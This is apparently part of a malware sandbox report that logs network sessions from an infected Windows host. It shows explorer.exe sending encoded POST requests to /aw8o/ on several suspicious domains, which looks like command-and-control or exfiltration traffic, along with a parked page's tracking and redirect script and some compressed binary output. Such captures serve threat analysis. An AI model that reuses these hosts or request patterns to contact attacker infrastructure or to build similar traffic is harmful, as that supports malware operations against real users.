7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 65 78 70 6c 6f 72 65 66 72 65 65 72 65 73 75 6c 74 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 52 6c 52 7a 54 6c 4a 55 54 6a 52 30 52 57 4e 57 53 7a 68 49 57 45 74 36 4b 7a 4e 33 51 30 74 42 51 56 56 57 56 54 42 33 55 6b 4e 49 4e 44 51 32 53 30 56 6f 64 56 56 52 4d 32 46 4b 62 55 6f 72 64 56 6f 34 64 6c 51 30 64 69 74 6c 4f 44 56 4a 4d 30 56 79 57 48 4a 73 52 45 46 32 4d 6b 46 61 51 32 77 31 53 31 5a 68 61 7a 68 46 53 32 6c 6d 4c 7a 6c 6d 57 54 6c 51 4f 48 68 59 59 6e 42 49 4d 6e 4e 76 51 32 68 69 57 6b 68 49 4e 33 6c 56 63 6b 5a 5a 4e 7a 42 43 65 56 68 4b 64 47 52 31 65 46 42 42 4d 32 64 71 54 47 30 3d 26 62 3d 22 2b 61 62 70 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 6d 67 6c 6f 67 29 3b 69 66 28 74 79 70 65 6f 66 20 61 62 70 65 72 75 72 6c 20 21 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 20 26 26 20 61 62 70 65 72 75 72 6c 21 3d 22 Data Ascii: 90b<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_RZRx1KzxO18Cl2AM9XLUP6+l769vPcf1fQtME7fnkXXY3grLTTURjqaJfJp3/eIsRUm6cAQL6d66DfOY/+WpwA=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://explorefreeresults.com/px.js?ch=1"></script><script type="text/javascript" src="http://explorefreeresults.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://explorefreeresults.com/sk-logabpstatus.php?a=RlRzTlJUTjR0RWNWSzhIWEt6KzN3Q0tBQVVWVTB3UkNINDQ2S0VodVVRM2FKbUordVo4dlQ0ditlODVJM0VyWHJsREF2MkFaQ2w1S1ZhazhFS2lmLzlmWTlQOHhYYnBIMnNvQ2hiWkhIN3lVckZZNzBCeVhKdGR1eFBBM2dqTG0=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" && abperurl!="
Aug 29, 2023 22:46:12.779633999 CEST	1164	IN	Data Raw: 22 29 77 69 6e 64 6f 77 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 61 62 70 65 72 75 72 6c 3b 7d 63 61 74 63 68 28 65 72 72 29 7b 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e Data Ascii: ")window.top.location=abperurl;}catch(err){}}</script> <meta charset="utf-8"> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padd
Aug 29, 2023 22:46:12.779685974 CEST	1164	IN	Data Raw: 28 65 72 72 29 7b 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: (err){}</script></body></html>
Aug 29, 2023 22:46:12.799063921 CEST	1164	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.11.20	50012	43.154.67.170	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:18.530131102 CEST	1165	OUT	POST /aw8o/ HTTP/1.1 Host: www.fgnvcmef.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.fgnvcmef.click Referer: http://www.fgnvcmef.click/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 5a 6e 32 4d 43 46 6f 57 2b 48 69 38 57 41 55 56 58 78 56 62 58 34 38 33 36 6a 30 48 6e 69 45 65 56 6d 42 45 4f 37 7a 69 56 69 7a 4a 65 48 44 66 47 2b 64 77 59 4e 71 32 57 61 7a 49 43 45 52 57 54 6e 7a 70 53 69 37 4c 71 46 35 63 7a 64 4b 4a 6d 32 58 48 36 4b 74 44 65 59 67 72 52 51 37 72 6e 33 4b 65 50 6a 69 66 37 55 71 48 5a 38 5a 4d 34 61 49 42 6f 66 72 30 76 46 77 51 66 51 65 6a 38 57 68 47 33 7a 51 59 41 62 41 73 7a 64 48 48 78 70 77 66 6c 73 4a 73 4a 2f 49 70 30 31 68 58 65 4e 52 53 72 35 6b 43 57 33 4e 71 6f 79 6b 66 4e 51 3d 3d Data Ascii: 5Nag0d=Zn2MCFoW+Hi8WAUVXxVbX4836j0HniEeVmBEO7ziVizJeHDfG+dwYNq2WazICERWTnzpSi7LqF5czdKJm2XH6KtDeYgrRQ7rn3KePjif7UqHZ8ZM4aIBofr0vFwQfQej8WhG3zQYAbAszdHHxpwflsJsJ/Ip01hXeNRSr5kCW3NqoykfNQ==
Aug 29, 2023 22:46:18.786597013 CEST	1166	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Tue, 29 Aug 2023 20:46:18 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.11.20	50013	43.154.67.170	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:21.289633036 CEST	1167	OUT	POST /aw8o/ HTTP/1.1 Host: www.fgnvcmef.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.fgnvcmef.click Referer: http://www.fgnvcmef.click/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 5a 6e 32 4d 43 46 6f 57 2b 48 69 38 57 67 45 56 48 69 4e 62 66 34 38 77 78 44 30 48 75 43 46 58 56 6d 4e 45 4f 2f 4b 2f 53 51 58 4a 65 69 2f 66 48 2f 64 77 56 74 71 32 59 36 7a 4a 66 55 52 6e 54 6e 2f 68 53 67 2f 4c 71 42 52 63 77 49 65 4a 67 47 58 45 79 71 74 41 5a 59 67 51 56 51 37 68 6e 33 32 6b 50 6e 2b 66 37 41 61 48 58 65 42 4d 72 37 49 65 6a 66 72 79 2f 31 77 58 52 41 65 58 38 57 39 4f 33 33 63 69 44 6f 63 73 7a 39 6e 48 32 70 77 65 2f 73 4a 72 47 66 49 33 30 6c 6c 59 48 76 6f 71 77 49 34 74 65 57 45 4c 38 6e 4e 61 61 30 51 59 47 7a 4a 74 51 4a 6b 46 32 4c 53 30 72 38 51 54 58 79 42 43 56 61 6c 75 70 45 6c 34 6a 49 6c 6b 5a 72 77 4a 31 2b 55 38 38 6c 62 33 30 68 65 59 6e 4e 4a 31 31 6d 54 70 34 79 76 50 54 71 6c 35 32 46 49 76 58 57 4f 55 59 4c 57 66 30 79 4a 52 65 36 6e 72 78 57 59 36 51 69 56 4b 4f 4d 51 32 52 32 54 43 39 43 77 63 38 73 35 7a 68 39 46 78 42 46 34 41 6f 7a 68 42 72 59 67 2f 76 51 50 4c 31 54 31 4b 6a 32 48 4d 52 37 70 57 6d 50 53 66 55 4c 53 65 34 78 62 6a 6e 77 46 6b 6b 39 30 6b 7a 66 57 34 6d 77 35 65 58 32 69 5a 2f 55 78 63 54 33 61 6e 34 4a 65 37 58 65 6d 69 68 35 4d 70 34 68 76 33 2f 72 49 48 52 53 77 49 4c 6a 2f 2b 71 6d 59 6d 38 30 4b 2f 69 43 43 70 52 77 7a 6f 72 59 47 4b 36 71 5a 78 69 2b 49 50 62 79 54 72 31 4b 66 76 43 4f 4c 4e 73 69 4e 56 39 47 46 61 2b 32 64 47 34 74 64 72 59 2f 64 78 49 55 6b 37 6c 4f 4e 7a 34 2f 76 6f 66 5a 50 64 6a 56 61 68 6f 39 72 42 38 33 6d 78 71 69 74 66 4a 64 77 6f 32 47 50 4b 54 53 76 2f 4c 37 37 52 7a 74 36 43 57 65 70 76 30 4f 55 32 6c 69 6e 68 64 39 56 72 37 54 6f 3d Data Ascii: 5Nag0d=Zn2MCFoW+Hi8WgEVHiNbf48wxD0HuCFXVmNEO/K/SQXJei/fH/dwVtq2Y6zJfURnTn/hSg/LqBRcwIeJgGXEyqtAZYgQVQ7hn32kPn+f7AaHXeBMr7Iejfry/1wXRAeX8W9O33ciDocsz9nH2pwe/sJrGfI30llYHvoqwI4teWEL8nNaa0QYGzJtQJkF2LS0r8QTXyBCValupEl4jIlkZrwJ1+U88lb30heYnNJ11mTp4yvPTql52FIvXWOUYLWf0yJRe6nrxWY6QiVKOMQ2R2TC9Cwc8s5zh9FxBF4AozhBrYg/vQPL1T1Kj2HMR7pWmPSfULSe4xbjnwFkk90kzfW4mw5eX2iZ/UxcT3an4Je7Xemih5Mp4hv3/rIHRSwILj/+qmYm80K/iCCpRwzorYGK6qZxi+IPbyTr1KfvCOLNsiNV9GFa+2dG4tdrY/dxIUk7lONz4/vofZPdjVaho9rB83mxqitfJdwo2GPKTSv/L77Rzt6CWepv0OU2linhd9Vr7To=
Aug 29, 2023 22:46:21.532056093 CEST	1167	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Tue, 29 Aug 2023 20:46:21 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.11.20	50014	43.154.67.170	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:24.055598974 CEST	1170	OUT	POST /aw8o/ HTTP/1.1 Host: www.fgnvcmef.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.fgnvcmef.click Referer: http://www.fgnvcmef.click/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 5a 6e 32 4d 43 46 6f 57 2b 48 69 38 57 67 45 56 48 69 4e 62 66 34 38 77 78 44 30 48 75 43 46 58 56 6d 4e 45 4f 2f 4b 2f 53 51 66 4a 64 55 72 66 48 63 31 77 55 74 71 32 48 4b 7a 4d 66 55 52 2b 54 6e 6e 6c 53 67 69 30 71 44 5a 63 31 50 43 4a 67 30 50 45 33 71 74 42 48 49 67 6f 52 51 36 32 6e 33 4c 39 50 6d 61 6c 37 56 4f 48 5a 2b 78 4d 34 34 67 42 67 50 72 30 2f 31 77 68 62 51 65 66 38 57 70 34 33 33 59 69 44 71 6f 73 68 2f 50 48 78 36 6f 65 6b 73 4a 6f 50 2f 4a 33 36 46 6b 6d 48 75 4e 62 77 49 34 62 65 54 6b 4c 38 68 4e 61 5a 33 6f 66 48 54 4a 74 64 70 6b 47 39 72 65 4b 72 36 31 4d 58 7a 31 43 56 5a 6c 75 6f 6b 6c 34 6c 73 78 6c 55 62 77 44 78 2b 55 76 34 6c 6e 2f 30 6e 79 6d 6e 4e 64 31 79 57 58 70 34 42 33 50 51 4c 6c 35 2f 46 49 70 54 57 4f 68 4b 4c 57 54 30 78 67 74 65 37 48 42 78 55 55 36 52 44 31 4b 46 4f 6f 31 52 57 54 41 78 69 78 62 33 4d 46 76 68 39 55 67 42 46 34 51 6f 78 4e 42 6f 6f 51 2f 75 52 50 55 32 44 31 51 6f 57 48 56 62 62 6c 49 6d 50 4f 48 55 4c 37 47 34 79 33 6a 6c 51 46 6b 67 61 6f 6a 6b 2f 57 46 76 51 34 48 61 57 6a 50 2f 55 39 78 54 32 75 64 34 36 61 37 47 2b 57 69 72 4a 4d 75 38 42 76 37 78 4c 49 4a 56 53 77 49 4c 6a 79 48 71 6d 55 6d 38 46 69 2f 77 6c 75 70 53 58 66 6f 34 49 47 49 36 71 59 71 69 2b 56 7a 62 79 62 56 31 4b 50 42 43 49 54 4e 69 58 52 56 36 45 39 5a 31 57 64 48 38 74 63 39 46 71 45 7a 49 55 49 7a 6c 4f 39 6a 37 4e 62 6f 63 59 2f 64 68 6c 61 67 73 64 72 4b 73 48 6e 71 75 69 70 71 4a 64 64 54 32 48 72 6a 54 52 66 2f 49 74 75 37 32 4e 36 6d 49 63 74 51 39 36 39 6e 71 42 76 41 47 65 52 58 6d 31 66 32 50 37 4c 44 4e 46 36 76 37 4c 46 63 43 78 78 48 53 7a 6a 33 44 53 57 4d 59 61 5a 7a 2f 33 43 68 49 2b 68 32 2f 35 64 67 4e 6b 32 7a 6b 4d 46 36 34 61 4a 33 39 35 4b 30 5a 71 61 7a 6f 4d 68 47 64 45 2b 4c 67 53 50 70 7a 5a 44 62 63 2f 52 45 76 62 71 67 43 6f 32 54 33 6a 54 6e 54 6f 76 71 7a 74 70 4e 75 34 6d 74 5a 43 38 6a 39 64 49 75 43 4e 6e 55 43 70 46 69 42 35 4d 7a 54 51 52 59 34 49 51 68 31 4b 41 66 33 6c 42 7a 30 59 39 48 6f 6c 50 49 64 6d 72 33 57 7a 48 4d 55 53 32 74 77 6f 6f 6b 46 58 4b 2b 65 79 64 47 46 55 30 50 46 5a 74 63 48 78 6b 63 51 61 56 4e 58 4f 2b 33 35 6c 39 45 78 72 58 76 69 34 45 45 50 68 2f 44 78 37 5a 4a 43 72 45 6a 62 73 73 71 74 31 70 51 33 4a 45 61 34 72 30 64 4a 48 37 37 5a 6f 67 46 62 48 59 55 4a 2b 50 77 47 36 37 68 45 42 77 76 72 48 39 69 59 46 2f 63 4a 61 6e 45 5a 72 45 4a 4a 50 47 6b 63 2f 54 35 41 4c 74 4c 47 58 73 51 69 73 4b 75 4f 6e 51 6a 34 43 64 6a 58 57 52 48 62 4b 55 78 76 33 4d 45 56 4e 30 4e 52 36 47 6c 44 37 5a 58 34 35 78 62 58 34 7a 73 74 4e 75 69 52 30 6d 6a 35 63 6b 56 52 58 7a 42 75 71 6a 55 48 4f 6a 32 33 62 71 6d 5a 79 70 45 70 73 46 57 55 56 33 69 4e 46 34 4c 57 6a 73 56 36 45 70 55 4a 4d 6f 43 79 46 73 73 53 70 34 6c 74 43 62 39 5a 68 33 6b 30 6d 4c 4a 34 4c 42 63 36 6b 65 52 36 6e 79 56 48 4d 2b 35 64 6b 63 6e 32 68 36 39 33 75 32 45 5a 4c 4b 43 44 46 4e 52 4d 65 59 48 6c 74 63 41 4d 44 2b 36 48 58 47 6f 31 6d 47 78 48 34 44 2f 5a 68 78 6d 50 33 74 7a 34 68 62 57 55 36 79 70 66 66 74 74 77 65 79 55 6f 39 73 66 63 6f 64 36 38 43 37 73 4d 78 4e 33 4d 47 71 39 44 4d 77 65 56 32 69 43 48 2f 4f 76 48 36 2f 63 4b 71 38 52 71 65 61 43 57 47 4b 6b 51 38 6d 52 41 6d 77 77 6c 61 48 65 4a 33 78 6d 2f 30 33 39 38 35 59 6e 79 4e 6e 6a 65 71 67 2b 75 66 53 6a 5a 57 36 69 33 35 73 67 47 5a 78 4e 34 48 75 64 30 64 4b 36 62 56 79 73 6e 7a 69 62 59 79 49 49 33 72 64 44 59 58 69 50 64 6e 43 63 74 6c 57 41 38 39 6d 49 6f 4e 4c 6f 68 56 61 57 39 53 79 36 59 62 76 45 2b 72 6b 39 52 39 34 69 2b 47 54 68 5a 68 4a 67 67 39 4c 73 54 31 49 75 59 7a 4a 31 65 30 42 61 65 5a 32 37 59 79 49 34 79 68 54 75 74 6a 2f 79 67 74 48 68 70 62 70 51 42 46 4a 2f 30 79 6a 31 6d 77 71 36 38 30 53 44 36 78 6e 71 62 4a 70 4e 54 54 4a 46 53 73 70 76 36 50 31 51 57 31 61 33 5a 6d 35 6b 42 49 56 54 69 61 54 39 74 77 6f 77 5a 49 4a 74 52 6e 4e 4b 6c 48 30 48 35 42 4e 58 4d 62 70 44 34 38 73 6d 6d 31 44 4a 32 63 69 6f 6e 73 54 58 74 38 4e 4e 70 58 6e 35 47 56 31 48 65 43 33 75 32 4e 46 36 45 69 43 4c 54 38 30 54 31 5a 70 37 73 55 63 53 58 69 59 6c 35 66 77 59 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:46:24.055699110 CEST	1179	OUT	Data Raw: 35 77 43 45 33 70 51 4c 57 6a 42 6a 58 50 52 39 71 61 52 61 2f 4d 33 5a 76 4f 54 2f 42 65 77 46 42 55 6e 4e 76 34 61 71 56 6d 6c 37 39 35 76 74 51 53 62 59 4f 32 59 2f 6a 39 51 73 31 33 4c 74 49 6d 5a 47 57 38 39 6d 79 45 37 42 72 76 2b 38 35 72 Data Ascii: 5wCE3pQLWjBjXPR9qaRa/M3ZvOT/BewFBUnNv4aqVml795vtQSbYO2Y/j9Qs13LtImZGW89myE7Brv+85rfAklBA3G3pOwh2MoJPw+Mqa7/8asHVKa/3KrZxeOnYUHkHzLPYNHjHqSJHGHI8gcTcOfJDlAPsS/BZRgRh+X/2JgBBsdUmHMg2euVTMd6QHDUulglIuOGE+hNs9GZl327ke0NHBZMiB+N89r1PSUoSBxPIqVGXTd/
Aug 29, 2023 22:46:24.055762053 CEST	1180	OUT	Data Raw: 69 75 67 37 31 63 6c 4b 74 6f 30 42 77 7a 41 53 2b 4c 67 77 54 62 66 67 31 37 78 35 56 55 52 39 2b 64 34 6a 47 73 7a 70 4c 47 65 67 54 78 59 61 39 58 6c 48 4d 67 65 76 49 61 32 58 65 76 74 30 2b 6d 39 56 76 31 6a 49 68 50 79 72 31 5a 38 63 74 68 Data Ascii: iug71clKto0BwzAS+LgwTbfg17x5VUR9+d4jGszpLGegTxYa9XlHMgevIa2Xevt0+m9Vv1jIhPyr1Z8cthSUm/QOjAq+10ODGpPWjrcKOsgQKq30mbr9rlHMK4Yv8b4gfTTLyoJwwbvaqcy1Atf2m+hakbtnpvk+sAAJmVGwn1UR0SwZ9wXpcNdrDwBjBGgR9EEbKI8T18XYS936n4OV54XdAgXq0S8vNZlh6Mx7QMaBqmfnAJu
Aug 29, 2023 22:46:24.298512936 CEST	1181	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Tue, 29 Aug 2023 20:46:24 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Aug 29, 2023 22:46:24.298614979 CEST	1183	OUT	Data Raw: 36 37 4e 59 6d 6b 57 79 4e 34 77 69 6e 43 4e 63 33 37 6f 59 66 71 58 54 64 4d 6c 4e 37 71 2b 54 32 71 35 54 78 48 66 39 71 69 51 70 41 63 4f 73 44 49 61 4d 50 49 6d 53 36 67 4f 6b 5a 59 70 42 55 6b 42 41 6e 68 65 55 4c 71 58 47 4f 4a 74 61 31 6c Data Ascii: 67NYmkWyN4winCNc37oYfqXTdMlN7q+T2q5TxHf9qiQpAcOsDIaMPImS6gOkZYpBUkBAnheULqXGOJta1lK7jWh7h6Dk1iEWR5E/yq0MdXlDZk7Suyua4cMCtrCj+jOFeix7iN5Rjm7PDLlLQLZrlPhew7DdSju0z46h2I9jY0BCDTbtbgOkZkjn3lhDGH3NckePbvCg4Lflf+SVFNwETMsZd3gA0xo/gwBIO7ThmUE7gpe+1S0
Aug 29, 2023 22:46:24.298778057 CEST	1186	OUT	Data Raw: 55 37 37 73 63 46 32 64 55 70 65 78 2f 54 57 30 7a 41 50 41 62 54 51 43 71 36 73 34 5a 72 6d 46 2f 4a 30 63 6d 44 32 49 45 5a 68 4d 48 51 44 4c 73 47 69 56 66 59 64 38 61 44 45 50 62 38 77 44 32 70 52 4a 61 6b 39 78 6b 51 74 56 65 34 77 2b 63 33 Data Ascii: U77scF2dUpex/TW0zAPAbTQCq6s4ZrmF/J0cmD2IEZhMHQDLsGiVfYd8aDEPb8wD2pRJak9xkQtVe4w+c31zS+N9MMbyMRygqpcQk711HRZ1q9J+1Ncpc5645oj8fbSvkYJU8lQgwKeEMpW3UvbF0qVzjexY0MT2BMjx5IH3/Ug9/OhBtRnPCxQ2WRuyfbpElnQEWyQA7BT/Vkk0mBhnEbYHZxZfrFxvLa+HUp4WqngoYHSyjLH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49985	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:36.854685068 CEST	345	OUT	POST /aw8o/ HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.handsome-sex.com Referer: http://www.handsome-sex.com/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 68 75 5a 62 62 6b 4b 58 4d 59 38 42 33 34 49 6c 56 32 42 79 7a 61 41 75 7a 6e 61 6a 53 50 74 7a 6b 76 65 58 74 6e 32 5a 7a 6a 66 61 43 6a 73 39 54 39 68 5a 59 58 71 53 5a 4a 44 4f 78 34 69 66 41 77 4f 55 50 2b 52 31 62 4c 38 51 53 4e 43 42 72 32 43 71 74 55 45 6a 61 36 54 72 4f 6b 58 47 79 41 4c 65 71 71 68 78 73 64 49 72 4d 7a 70 49 52 62 50 65 4f 6b 64 54 70 6a 41 65 44 54 42 38 56 7a 4d 66 67 42 39 68 64 55 32 47 33 30 32 72 31 57 78 4c 30 69 39 64 2b 79 74 69 32 64 4d 6e 75 51 49 39 46 77 3d 3d Data Ascii: 5Nag0d=wxm5GOA4eNkxhuZbbkKXMY8B34IlV2ByzaAuznajSPtzkveXtn2ZzjfaCjs9T9hZYXqSZJDOx4ifAwOUP+R1bL8QSNCBr2CqtUEja6TrOkXGyALeqqhxsdIrMzpIRbPeOkdTpjAeDTB8VzMfgB9hdU2G302r1WxL0i9d+yti2dMnuQI9Fw==
Aug 29, 2023 22:44:37.009898901 CEST	346	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 29 Aug 2023 20:44:37 GMT server: LiteSpeed Data Raw: 31 33 34 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 08 79 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b e6 ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 0c 35 c2 48 7c fc 7e d4 de 71 e3 